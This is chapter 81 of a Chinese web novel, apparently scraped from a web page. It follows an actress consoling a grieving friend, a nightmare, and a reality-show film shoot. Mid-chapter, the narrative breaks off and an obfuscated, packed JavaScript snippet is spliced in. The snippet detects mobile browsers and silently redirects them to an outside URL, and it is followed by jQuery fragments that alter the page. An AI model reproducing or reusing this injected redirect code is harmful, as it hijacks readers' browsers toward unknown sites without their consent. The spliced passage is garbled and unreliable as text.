81. 粉色逃离

作品:《第一万零一次月升

    风势愈发猛烈,Jessy轮廓分明的侧脸在凌乱的发丝中更添几分倔强,她红着眼眶哽咽着继续说道:


    “可他们还是不肯放过我,突然接到电话说爸病了,很严重。乱七八糟来了一堆人,把我堵在屋里,各个都说是我害的他,是我把他气病了,逼我去医院忏悔。


    他们什么心思我能不知道?无非还是钱,我偏不让他们得逞,他要死就去死好了!我不会再给他们一分钱!


    我发疯发狂,那些窝里横的东西,只要遇到动真格的就蔫。可你知不知道我有多恨那个模样的自己!我的尊严被他们踩在地上!每一次!为什么每一次我都只能靠发疯才能逃离那个地方?


    我本想亲眼看着他死,可是看着他奄奄一息的样子,我在想,只要这一次他维护我,过往的一切都不计较了,只要维护一次就可以,终究还是他更心狠……”


    仿佛突然失去了所有的力气,Jessy转身靠向栏杆,企图寻找支撑,却一个踉跄差点摔倒。安夕冲上去将她扶住,两人瘫坐在地上,Jessy的身体微微颤抖,无力地倒在安夕怀中,口齿不清得说着:


    “这次真的再也没有爸爸了,粉色只是因为我喜欢。”


    安夕轻柔地拍打着她的肩膀,直到怀中颤抖的身体逐渐平复,呼吸也变得均匀,轻轻将她被泪水浸湿的碎发拨到耳后,这位战士,即使在睡梦中,也是一脸倔强的模样。


    梦中回到三面是镜子的舞蹈室,这个地方明明已经很久没想起过了,抚摸着木质的栏杆,触感竟如此真实。


    抬头却见落地窗外是波浪滔天的海。黑,一望无际的黑,黑暗好似一个异灵骑士,巨浪是它的恶灵,怒吼声震耳欲聋,疯狂的撞击墙面。


    舞蹈室内的灯忽明忽暗,地面随着海浪剧烈起伏,海水不断涌入,安夕缩到角落紧紧抓住压腿杆,可是所有的栏杆全部断裂,舞蹈室四分五裂,只抓住一根浮木求生。


    冰冷的海水瞬间刺入每一寸皮肤,黑暗如巨轮碾压。很多个画面在眼前闪过,4岁那年爸爸妈妈牵着自己去舞蹈室,10岁那年通过了考核,可是没有人开心。


    他们说舞蹈当成兴趣发展就好。


    那我应该去哪?


    回学校念书吧。


    现在呢?我应该去哪?


    一望无尽的黑暗,我该去哪?


    一遍又一遍的询问,直到天边似有阳光渗出。


    天晴了,前方不远处便是出发时港湾,安夕兴奋地往前划,海水却突然出现一条裂缝,港湾连带着陆地朝空中翻转,眼看着就要全倾而下,极速下坠裹挟着巨大的力量,那里成了世界最危险的地方。


    安夕只得调转方向往深海划去,却发现乌沉沉的云层拖拽着海平面极速前进。


    两面夹击绝望之际,空中响起了自己的名字。


    “安夕,醒醒。”


    天光大亮,眼前是一片温馨的场景,Jessy将窗帘拉开,“你做噩梦了。”


    “嗯。”


    安夕揉揉眼,从床上爬起来。


    “看来昨晚没睡好,不过你今天的工作不能打折扣。”


    Jessy递过来一套衣服,“去洗个澡清醒一下。”


    安夕接过衣服愣愣地看着她,关心的话还未说出口,Jessy突然脱下上衣,吓得安夕瞬间跑去卫生间。


    洗漱好出来,Jessy催促她赶紧去片场,安夕没有再多耽误一秒钟,收拾好一切就往外跑。


    小琪傻笑着闯进来,“早安!点了大餐,两位姐吃饭吧!”


    “不吃了!”


    清晨的片场是一天中最为安静的时刻,三三两两的人蹲坐在角落里,享受着开拍前的闲暇。


    安夕也找了个没人的小角落,将导演指出的问题再重新理解一番。


    脑中却是一刻也不得安静,这几天的经历像是一部黑白默片,在脑海中交替上映。


    医院中白色的消毒水味始终消散不去,老人的离去像是一个巨大的黑洞,吞噬着人群的哀嚎声,世界在旋转崩塌,一抹浅浅的粉色出现在黑洞的中间,安夕想要用力追赶,却始终触及不到,眼见着那抹浅浅的粉色被浓黑色吞噬。


    “各位老师早!节目规则有所变动,辛苦各位老师都来听一下新规则。”


    突然的声响将思绪从浑杂中拉出,安夕惊觉脸上挂满泪水,暗自庆幸找了个无人的角落。


    不清楚时间过了多久,片场已经站满了人,一工作人员站在高台上,手拿话筒介绍着新的规则。


    “目前咱们四组戏都有外景,棚景部分正常拍摄,外景则采取开放式拍摄手法。


    剧情依旧按照剧本来演绎,但是会在外景中新增大量群众演员,他们各自都有隐藏剧情,主演与其接触后则自动开启隐藏剧情。


    但各位主演请注意,不要被他人的剧情带偏,务必牢记自己的剧情。各位的临场反应能力以及对核心剧情的掌控能力将是本轮比赛的考核重点。


    最后感谢各位老师的辛勤付出,让我们一起期待大家共同演绎的精彩巨作吧!”


    周怡菲一只手搭在安夕身上,小公主这些天着实受苦了,脸色憔悴精神不佳,哀怨道:“这是要把我们往死里整啊,三天拍一场大戏已经是极限了,还要搞这么乱七八糟的玩法!”


    丁泽诺则兴奋不已,作为新人一路侥幸过关,能走到这一关已是超出预期了,后面怎么开心怎么玩。


    “你还别说,节目组真会玩啊,这赛制我喜欢哈哈哈哈哈!”


    周怡菲单手扶额,鲜少见她这番消沉模样。


    “你怎么了?”


    “怎么了?跟这么个活宝搭戏,我头疼!”


    丁泽诺笑得更开心了,“我不是这个活宝吧,姐你是不是指迟大哥啊?”


    “再废话信不信我让你再也笑不出来!”


    “这招对我没用哈,该说不说迟大哥的早饭真是不错,我这几天都长胖了。”


    忍无可忍,无须再忍,周怡菲不顾镜头直接上手,刚准备拎住丁泽诺一只耳朵,那人已经开始求饶。


    “姐我不说话了,别动手。”


    这几天各种意外


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15791619|160462||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    事件轮番轰炸,安夕也没空注意其他人都拿到了什么剧本,刚准备问问许翊辰在哪组,却见那两人已经扭打着走远了。


    刘导的声音从身后传来。


    “好了,都各就各位吧,外景需要天光,我们需要在10点前拍完棚景,所有画面尽量一遍过,大家珍惜机会,好好发挥。”


    安夕躺回病床上,思绪回到那抹小小的粉色,那一刻突然明白了Jessy说的心狠。


    如果有一天自己离开了,要给亲人留下一个怎样的世界?


    “爸爸,你回来了?”


    安夕伸手将爸爸夹在脖颈间的衣领翻开抚平,视角从那一头花白的头发间很快略过,笑道:“爸爸,明天咱们放假一天好不好?”


    “明天?为什么?明天是什么特殊的日子吗?难道爸爸忘记了乐乐的生日吗?”


    安夕看着爸爸局促的模样,又是一阵心酸,每天他后半夜出去跑出租,上午开始跑外卖,总是在抢时间,又总是心事重重,难免犯下不少小错误,养成了道歉的习惯。


    可是,明明他是一名优秀的工程师,是那个出门上班会打发蜡的臭屁爸爸。


    安夕侧身往回坐了坐,抱起洗得泛白的小狗玩偶,委屈巴巴的撒娇道:“明天不是什么特殊的日子,只是……只是我有点累了,我想出去玩嘛。”


    爸爸绷紧的神经稍稍放松了些,低头安抚道:“等你病好了,爸爸一定陪你好好玩,咱们现在专心挣钱,专心治疗好不好?”


    安夕握住这双黢黑粗糙的手,这双手在手绘年代,曾一笔一笔描绘出市政大楼的工程图,也曾在深夜笨拙的握住鼠标,学习CAD。过往的日子没有在这双手上留下太多的痕迹,而短短三年的时间,它便已经如此沧桑。


    安夕看着爸爸,这番话看似任性却满是心疼,“3年了,我已经在医院3年了,将让我出去玩一次吧。”


    爸爸有点生气了,固执的说道:“听话,乐乐是最乖的女孩不是吗?爸爸累了,我们早点休息好不好?”


    卡!


    第一幕结束了,几日来一直愁眉深锁的刘导终于露出笑意。


    “不错,都对了,一切都对了!”


    人群掌声雷动,一瞬间很多情绪涌上心头,安夕来不及处理,只深深鞠了一躬,赶紧准备下一场的演出。


    所有人员都在跑步战斗,混乱中一个以为早已淡出记忆的面孔突然出现,内心响起了惊雷。


    一身棕色套装,利落的短发别在耳后,氤氲的南方口音,笑容乍看之下如春日暖阳,感受不到一丝锋芒。


    “没想到你居然在这里。”


    刘晓经过时笑眼盈盈地说道,“参加这个比赛的要么是经验老道的演员,要么是年轻漂亮的新人,安夕你真是一如既往的好胆量。”


    浓密的假睫毛加重了眼睛弯曲的弧度,可是那是一双毫无温度的黑洞,浓黑的眼珠透着精明,正毫无顾忌地上下打量安夕。


    那股熟悉的寒意从脚底升起,血液似乎从脑中急速抽走,安夕呆呆地看着刘晓,说不出一句话来。